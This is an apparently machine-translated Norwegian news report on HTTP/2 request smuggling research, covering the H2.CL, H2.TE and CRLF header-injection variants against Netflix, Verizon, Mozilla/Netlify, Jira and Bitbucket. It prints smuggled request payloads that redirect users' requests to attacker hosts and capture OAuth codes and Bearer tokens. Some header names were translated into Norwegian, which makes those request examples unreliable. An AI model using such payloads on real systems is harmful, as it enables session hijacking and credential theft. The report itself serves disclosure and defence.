Et nytt angrep på front-end-backend-systemer som lar deg kile inn forespørsler

Nettsystemer der grensesnittet aksepterer tilkoblinger via HTTP/2 og overfører dem til backend via HTTP/1.1, har blitt utsatt for en ny variant av "HTTP Request Smuggling"-angrepet, som gjør det mulig, ved å sende spesialdesignede klientforespørsler, å kile inn i innholdet i forespørsler fra andre brukere som behandles i samme flyt mellom frontend og backend. Angrepet kan brukes til å sette inn ondsinnet JavaScript-kode i en økt med et legitimt nettsted, omgå tilgangsbegrensningssystemer og avskjære autentiseringsparametere.

Problemet påvirker nettproxyer, lastbalansere, nettakseleratorer, innholdsleveringssystemer og andre konfigurasjoner der forespørsler omdirigeres på en front-end-to-backend måte. Forfatteren av studien demonstrerte muligheten for å angripe systemene til Netflix, Verizon, Bitbucket, Netlify CDN og Atlassian, og mottok 56 tusen dollar i belønningsprogrammer for å identifisere sårbarheter. Problemet er også bekreftet i F5 Networks-produkter. Problemet påvirker delvis mod_proxy i Apache http-serveren (CVE-2021-33193), en reparasjon forventes i versjon 2.4.49 (utviklerne ble varslet om problemet i begynnelsen av mai og fikk 3 måneder på seg til å fikse det). I nginx ble muligheten til å spesifisere "Content-Length" og "Transfer-Encoding"-hodene samtidig blokkert i den siste utgivelsen (1.21.1). Angrepsverktøy er allerede inkludert i Burp-verktøysettet og er tilgjengelig i form av Turbo Intruder-utvidelsen.

Prinsippet for drift av den nye metoden for å kile forespørsler inn i trafikk er lik sårbarheten identifisert av den samme forsker for to år siden, men begrenset til grensesnitt som aksepterer forespørsler over HTTP/1.1. La oss huske at i frontend-backend-ordningen mottas klientforespørsler av en ekstra node - frontend, som etablerer en langvarig TCP-forbindelse med backend, som direkte behandler forespørsler. Gjennom denne felles forbindelsen overføres vanligvis forespørsler fra forskjellige brukere, som følger kjeden etter hverandre, atskilt ved hjelp av HTTP-protokollen.

Det klassiske "HTTP Request Smuggling"-angrepet var basert på det faktum at frontends og backends tolker bruken av HTTP-hoder "Content-Length" (bestemmer den totale størrelsen på dataene i forespørselen) og "Transfer-Encoding: chunked" (tillater data som skal overføres i deler) annerledes. . For eksempel, hvis grensesnittet bare støtter "Content-Length" men ignorerer "Transfer-Encoding: chunked", kan en angriper sende en forespørsel som inneholder både "Content-Length" og "Transfer-Encoding: chunked", men størrelsen er "Content-Length" stemmer ikke overens med størrelsen på den klumpede kjeden. I dette tilfellet vil frontend behandle og omdirigere forespørselen i samsvar med "Content-Length", og backend vil vente på fullføringen av blokkeringen basert på "Transfer-Encoding: chunked" og den gjenværende delen av angriperens forespørsel vil være i begynnelsen av en annens forespørsel som sendes neste gang.

I motsetning til tekstprotokollen HTTP/1.1, som analyseres på linjenivå, er HTTP/2 en binær protokoll og manipulerer datablokker av en forhåndsspesifisert størrelse. HTTP/2 bruker imidlertid pseudo-hoder som tilsvarer vanlige HTTP-hoder. I tilfelle av interaksjon med backend via HTTP/1.1-protokollen, oversetter frontend disse pseudo-headerne til lignende HTTP-headers HTTP/1.1. Problemet er at backend tar beslutninger om å analysere strømmen basert på HTTP-hodene satt av frontend, uten å ha informasjon om parameterne til den opprinnelige forespørselen.

Spesielt kan verdiene "content-length" og "transfer-encoding" overføres i form av pseudo-headere, til tross for at de ikke brukes i HTTP/2, siden størrelsen på alle data bestemmes i et eget felt. Men under prosessen med å konvertere en HTTP/2-forespørsel til HTTP/1.1, overføres disse overskriftene og kan forvirre backend. Det er to hovedangrepsvarianter: H2.TE og H2.CL, der backend blir villedet av en feil overføringskoding eller innholdslengdeverdi som ikke samsvarer med den faktiske størrelsen på forespørselskroppen mottatt av frontend via HTTP/2-protokoll.

Et nytt angrep på front-end-backend-systemer som lar deg kile inn forespørsler

Et eksempel på et H2.CL-angrep er å spesifisere en feil størrelse i pseudo-headeren for innholdslengde når du sender en HTTP/2-forespørsel til Netflix. Denne forespørselen fører til tillegg av en lignende HTTP-header Content-Length ved tilgang til backend via HTTP/1.1, men siden størrelsen i Content-Length er spesifisert mindre enn den faktiske, blir deler av dataene i halen behandlet som begynnelsen av neste forespørsel.

For eksempel, be om HTTP/2 :metode POST :bane /n :autoritet www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Vil resultere i at en forespørsel sendes til backend: POST /n HTTP/1.1 Vert: www.netflix.com Innholdslengde: 4 abcdGET /n HTTP/1.1 Vert: 02.rs?x.netflix.com Foo: bar

Siden Content-Length har en verdi på 4, vil backend bare akseptere "abcd" som hovedteksten i forespørselen, og resten av "GET /n HTTP/1.1..." vil bli behandlet som begynnelsen av en påfølgende forespørsel knyttet til en annen bruker. Følgelig vil strømmen bli desynkronisert og som svar på neste forespørsel vil resultatet av behandlingen av dummy-forespørselen bli utstedt. Når det gjelder Netflix, resulterte spesifisering av en tredjepartsvert i «Host:»-overskriften i en dummy-forespørsel i at klienten returnerte svaret «Location: https://02.rs?x.netflix.com/n» og tillatt å sende vilkårlig innhold til klienten, inkludert Kjør JavaScript-koden din i sammenheng med Netflix-nettstedet.

Det andre angrepsalternativet (H2.TE) innebærer å erstatte "Transfer-Encoding: chunked"-overskriften. Bruk av pseudo-headeren for overføringskoding i HTTP/2 er forbudt i henhold til spesifikasjonen, og forespørsler med den er foreskrevet for å bli behandlet som feil. Til tross for dette tar noen frontend-implementeringer ikke dette kravet i betraktning og tillater bruk av en overføringskodende pseudo-header i HTTP/2, som konverteres til en lignende HTTP-header. Hvis det er en "Transfer-Encoding"-header, kan backend ta den som en høyere prioritet og analysere dataene bit for bit i "chunked"-modus ved å bruke blokker av forskjellige størrelser i formatet "{size}\r\n{block" }\r\n{størrelse} \r\n{blokk}\r\n0", til tross for den innledende inndelingen etter total størrelse.

Tilstedeværelsen av et slikt gap ble demonstrert av eksemplet med Verizon. Problemet gjaldt autentiseringsportalen og innholdsstyringssystemet, som også brukes på nettsteder som Huffington Post og Engadget. For eksempel, en klientforespørsel via HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Resulterte i å sende en HTTP/1.1-forespørsel til backend: POST /identity/XUI HTTP/1.1 Vert: id.b2b.oath.com Innholdslengde: 66 Overføringskoding: chunked 0 GET /oops HTTP/1.1 Vert: psres. netto innhold- Lengde: 10x=

Bakenden ignorerte på sin side "Content-Length"-overskriften og utførte in-stream-deling basert på "Transfer-Encoding: chunked". I praksis gjorde angrepet det mulig å omdirigere brukerforespørsler til nettstedet deres, inkludert avskjæring av forespørsler knyttet til OAuth-autentisering, hvis parametere ble vist i Referer-overskriften, samt simulering av en autentiseringsøkt og utløsning av brukerens system til å sende legitimasjon til angriperens vert. GET /b2blanding/show/oops HTTP/1.1 Vert: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Vert: psres.net Autorisasjon: Bærer eyJhcGwiOiJIUzI1Gi1sInR6cCI6…

For å angripe HTTP/2-implementeringer som ikke tillater spesifikasjon av pseudo-headeren for overføringskoding, har det blitt foreslått en annen metode som innebærer å erstatte "Transfer-Encoding"-headeren ved å feste den til andre pseudo-hoder atskilt med et linjeskifttegn ( når den konverteres til HTTP/1.1 i dette tilfellet opprettes to separate HTTP-hoder).

For eksempel ble Atlassian Jira og Netlify CDN (brukt til å betjene Mozilla-startsiden i Firefox) berørt av dette problemet. Nærmere bestemt HTTP/2-forespørselen :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domene\r\n Innholdslengde: 5\r\n \r\nx=

resulterte i at HTTP/1.1 POST / HTTP/1.1-forespørsel ble sendt til backend\r\n Vert: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Vert: evil-netlify-domene\r\n Innholdslengde: 5\r\n \r \nx=

Et annet alternativ for å erstatte "Transfer-Encoding"-overskriften var å feste den til navnet på en annen pseudo-header eller til en linje med en forespørselsmetode. For eksempel, når du åpner Atlassian Jira, førte pseudo-headernavnet "foo: bar\r\ntransfer-encoding" med verdien "chunked" til at HTTP-hodene "foo: bar" og "transfer-encoding: chunked" ble lagt til , og spesifisering av pseudo-header ":method"-verdi "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ble oversatt til "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Forskeren som identifiserte problemet foreslo også en forespørselstunnelingsteknikk for å angripe frontends, der hver IP-adresse etablerer en separat tilkobling til backend og trafikk fra forskjellige brukere ikke blandes. Den foreslåtte teknikken tillater ikke å forstyrre forespørsler fra andre brukere, men gjør det mulig å forgifte en delt cache som påvirker behandlingen av andre forespørsler, og tillater erstatning av interne HTTP-hoder som brukes til å overføre tjenesteinformasjon fra frontend til backend ( for eksempel ved autentisering på frontend-siden i Slike overskrifter kan overføre informasjon om gjeldende bruker til backend). Som et eksempel på å bruke metoden i praksis, ved bruk av cache-forgiftning, var det mulig å få kontroll over sider i Bitbucket-tjenesten.

Kilde: opennet.ru

Legg til en kommentar